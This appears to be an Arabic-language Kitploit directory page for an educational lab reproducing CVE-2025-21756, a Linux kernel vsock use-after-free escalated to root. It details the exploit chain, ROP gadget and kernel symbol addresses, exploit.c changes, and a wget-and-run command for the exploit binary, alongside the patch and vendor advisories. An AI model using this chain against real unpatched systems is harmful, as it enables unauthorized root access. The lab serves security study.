Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-21756 — مختبر تعليمي يوضح استغلال use-after-free (UAF) في نظام vsock الفرعي لنواة لينكس لتصعيد الامتيازات المحلية إلى الجذر، مع إعداد تلقائي وتحليل سلسلة ROP. | Kitploit
أدوات/GitHubGitHub/h3raklez/cve-2025-21756
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالCTFالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

مختبر تعليمي يوضح استغلال use-after-free (UAF) في نظام vsock الفرعي لنواة لينكس لتصعيد الامتيازات المحلية إلى الجذر، مع إعداد تلقائي وتحليل سلسلة ROP.

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-21756 — مختبر الاستغلال

لأغراض تعليمية وبحوث أمنية مصرح بها فقط.

الوصف

CVE-2025-21756 هي ثغرة استخدام بعد التحرير (UAF) في نظام vsock (المقبس الافتراضي) للنواة لينكس، تم الكشف عنها في 26 فبراير 2025. تسمح لمهاجم محلي برفع الامتيازات إلى الجذر على أنظمة لينكس المتأثرة.

  • CVSS v3.1: 7.8 (عالي)
  • المتجه: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (استخدام بعد التحرير)
  • المكون المتأثر: net/vmw_vsock/af_vsock.c
  • النواة المتأثرة: لينكس 6.6.75 (والإصدارات السابقة غير المصححة)

السبب الجذري

يحدث الخطأ أثناء إعادة تعيين الناقل لمقبس vsock. التسلسل القابل للاستغلال هو:

  1. vsock_create() ينشئ المقبس مع refcnt=2 ويُدرجه في القائمة غير المقيدة
  2. transport->release() يستدعي vsock_remove_bound() دون التحقق مما إذا كان المقبس قد نُقل إلى القائمة المقيدة، مما يُقلل refcnt بشكل غير صحيح
  3. vsock_bind() يفترض أن المقبس لا يزال في القائمة غير المقيدة ويستدعي _vsock_remove_bound() مرة أخرى
  4. refcnt يصل إلى 0 قبل الأوان → يتم تحرير كائن vsock بينما لا يزال مرجعًا → UAF

التصحيح المطبق

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

سلسلة الاستغلال

  1. تشغيل UAF — استدعاءان متتاليان لـ connect() مع معرفات CID تُنتج ناقلات مختلفة يتسببان في تحرير كائن vsock قبل الأوان بينما لا يزال مرتبطًا في vsock_bind_table
  2. تحرير الشريحة — يتم تفريغ القوائم الجزئية لـ SLUB لإعادة الصفحة الضحية إلى موزع الصفحات
  3. رش الصفحة — يتم استعادة الصفحة المحررة باستخدام unix_dgram_sendmsg مع رسائل من الرتبة 2 (MIGRATE_UNMOVABLE)، وملؤها ببيانات مُتحكم بها
  4. قناة جانبية — يُستخدم vsock_diag_dump (غير محمي بواسطة AppArmor) كقناة جانبية للكشف عن وقت استعادة الصفحة وتحديد الإزاحة الدقيقة للكائن الضحية داخل الصفحة
  5. اختطاف RIP — يتم الكتابة فوق sk->sk_prot ليشير إلى udp_prot+0x1c0 (udp_abort)، والذي عند استدعائه ينادي sk->sk_error_report(sk)، الذي تم الكتابة فوق مؤشره بأداة تحويل المكدس
  6. سلسلة ROP — يتم تنفيذ commit_creds(init_cred) لتعيين بيانات اعتماد الجذر للعملية، متبوعًا بمنصة KPTI للعودة إلى مساحة المستخدم
  7. قشرة جذر — مع uid=0

المتطلبات

  • ديبيان 12 أو 13 x86_64 (تم الاختبار على ديبيان 13)
  • مستخدم عادي مع صلاحية sudo
  • ذاكرة الوصول العشوائي الدنيا: 1 جيجابايت
  • مساحة القرص الحرة: 10 جيجابايت

إعداد المختبر

root@kitploit:~
# تنزيل البرنامج النصي للإعداد
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# التشغيل كمستخدم عادي (وليس جذر)
./setup-lab.sh

يتولى البرنامج النصي تلقائيًا:

  • تثبيت sudo إذا لم يكن متاحًا
  • تثبيت جميع التبعيات المطلوبة (build-essential، qemu-system-x86، bc، pahole، إلخ)
  • تنزيل بيئة Google kCTF الرسمية (النواة lts-6.6.75، rootfs، ramdisk)
  • تنزيل ثغرة ktranowl وتطبيق التصحيحات المطلوبة
  • تجميع الثغرة
  • إنشاء بيئة التنفيذ بالمعايير الصحيحة
  • إنشاء run_lab.sh كنقطة دخول واحدة

تشغيل المختبر

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

بمجرد تشغيل البيئة، قم بتشغيل ما يلي بداخلها:

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

المخرجات المتوقعة

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

للخروج: Ctrl-A X


التعديلات المطبقة على الثغرة الأصلية

الثغرة الأساسية من ktranowl. تم تطبيق التعديلات التالية لجعلها تعمل في هذه البيئة:

1. KASLR معطل

التعديل: تمت إضافة nokaslr إلى معلمات بدء تشغيل النواة.

السبب: تتجاوز الثغرة الأصلية KASLR باستخدام EntryBleed، وهي تقنية قناة جانبية لتوقيت TLB تتطلب دقة عالية في توقيت وحدة المعالجة المركزية. في بيئة المحاكاة الافتراضية المتداخلة، تكون دقة rdtsc غير كافية لعمل EntryBleed بشكل موثوق، مما ينتج عنه kbase غير صحيح يسبب خطأ في جميع العناوين المحسوبة باستخدام ADDRESS(). يؤدي تعطيل KASLR إلى ضمان تحميل النواة دائمًا عند 0xffffffff81000000 وأن الإزاحات المضمنة في الثغرة صحيحة دائمًا.

2. تغيير user_rip من modeprobe_exec إلى check_root

التعديل في exploit.c:

root@kitploit:~
// قبل
uint64_t user_rip = (uint64_t)modeprobe_exec;

// بعد
uint64_t user_rip = (uint64_t)check_root;

السبب: modeprobe_exec هي تقنية رفع الامتيازات المستخدمة في الثغرة الأصلية لبيئة kCTF عن بُعد. تتطلب وسيطات سطر أوامر (عنوان IP ومنفذ خادم بعيد) واتصال شبكة خارجي. بدون هذه الوسيطات، يتعطل البرنامج مع خطأ GPF عند محاولة قراءة argv[1]. تتحقق check_root مباشرة من uid وتنفذ /bin/sh، وهو ما يكفي لإظهار الاستغلال في بيئة محلية.

3. إزالة استدعاء modeprobe_exec داخل check_root

التعديل في exploit.c:

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removed
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

السبب: حتى مع توجيه user_rip إلى check_root، كانت هذه الدالة تستدعي داخليًا modeprobe_exec مرة أخرى قبل تنفيذ /bin/sh. بدون الوسيطات المطلوبة، تسبب هذا الاستدعاء في حدوث خطأ GPF وتم إنهاء العملية دون فتح قشرة، على الرغم من أن commit_creds قد رفعت الامتيازات بنجاح.


سلسلة ROP وتحليل الرموز

أثناء عملية إعداد المختبر، تم التحقق من جميع رموز النواة وأدوات ROP مقابل نواة kCTF الرسمية lts-6.6.75 لتأكيد صلاحيتها لهذه البيئة.

أدوات ROP

لم يتطلب أي من هذه تعديلات.

رموز النواة

جميع القيم تطابق الأصلية في الثغرة. لم تكن هناك حاجة لتعديلات.

ملاحظة حول address_contain_udp_abort

لا تشير هذه القيمة مباشرة إلى دالة udp_abort. إنها تشير إلى udp_prot + 0x1c0، وهو حقل diag_destroy داخل struct proto. هذا مقصود: vsock_release يستدعي sk->sk_prot->close(sk, 0)، حيث close يقع عند الإزاحة 0 من struct proto. بتوجيه sk_prot إلى udp_prot->diag_destroy بدلاً من بداية udp_prot، تقرأ النواة diag_destroy كما لو كان مؤشر close، والذي يحتوي على udp_abort. هذا يتسلسل إلى → ، حيث توضع أداة تحويل المكدس.

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot points to udp_prot+0x1c0
    └── udp_abort(sk)              ← diag_destroy field, read as close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← stack pivot gadget
                └── ROP chain
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → root shell


التخفيف

التصحيح الرسمي متاح من نواة 6.14-rc1 وتم نقله إلى جميع فروع LTS المدعومة. أصدرت التوزيعات المتأثرة تنبيهاتها الخاصة:

  • أوبونتو: USN-7361-1 والإصدارات الأحدث
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 والإصدارات الأحدث

المراجع


إخلاء المسؤولية

تم توفير هذه الأداة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام.

تنزيل الأداة
execve("/bin/sh")
الأداةالعنوانالغرض
pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32تحويل المكدس — ينقل RSP إلى بداية كائن vsock المُتحكم به
add rsp, 0xb8 ; jmp ...0xffffffff8170292cتقدم المكدس — يتجاوز الحقول المحجوزة للوصول إلى سلسلة ROP
pop rdi ; ret0xffffffff8115e4f9تحميل الوسيطة الأولى لـ commit_creds(init_cred)
الرمزالعنوانملاحظات
vsock_bind_table[0x7a]0xffffffff84bc6280مرساة القناة الجانبية — فتحة قائمة vsock حيث يقع الكائن الضحية
init_net0xffffffff84bb1f80يستخدم للتحقق من كائن vsock المزيف عبر vsock_diag_dump
commit_creds0xffffffff811fdac0يعين بيانات اعتماد الجذر للعملية الحالية
init_cred0xffffffff83c74d80هيكل بيانات اعتماد مع uid=gid=0، بإزاحة ثابتة من قاعدة النواة
kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — يستعيد CR3 ويعود إلى مساحة المستخدم
address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — انظر الملاحظة أدناه
sk_error_report(sk)
sk->sk_error_report(sk)
الجانبالأصلي (ktranowl)هذا المختبر
تجاوز KASLREntryBleed (توقيت TLB)معطل (nokaslr)
تقنية رفع الامتيازاتmodeprobe_exec عبر core_patternexecve("/bin/sh") مباشرة
بيئة الهدفkCTF عن بُعدمحلي
اتصال خارجي مطلوبنعملا
المصدرالرابط
الشرح الأصلي (Hoefler)https://hoefler.dev/articles/vsock.html
ثغرة Hoeflerhttps://github.com/hoefler02/CVE-2025-21756
تحليل n-day (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
ثغرة ktranowlhttps://github.com/khoatran107/cve-2025-21756
التصحيح الرسميhttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
قواعد kCTFhttps://google.github.io/security-research/kernelctf/rules.html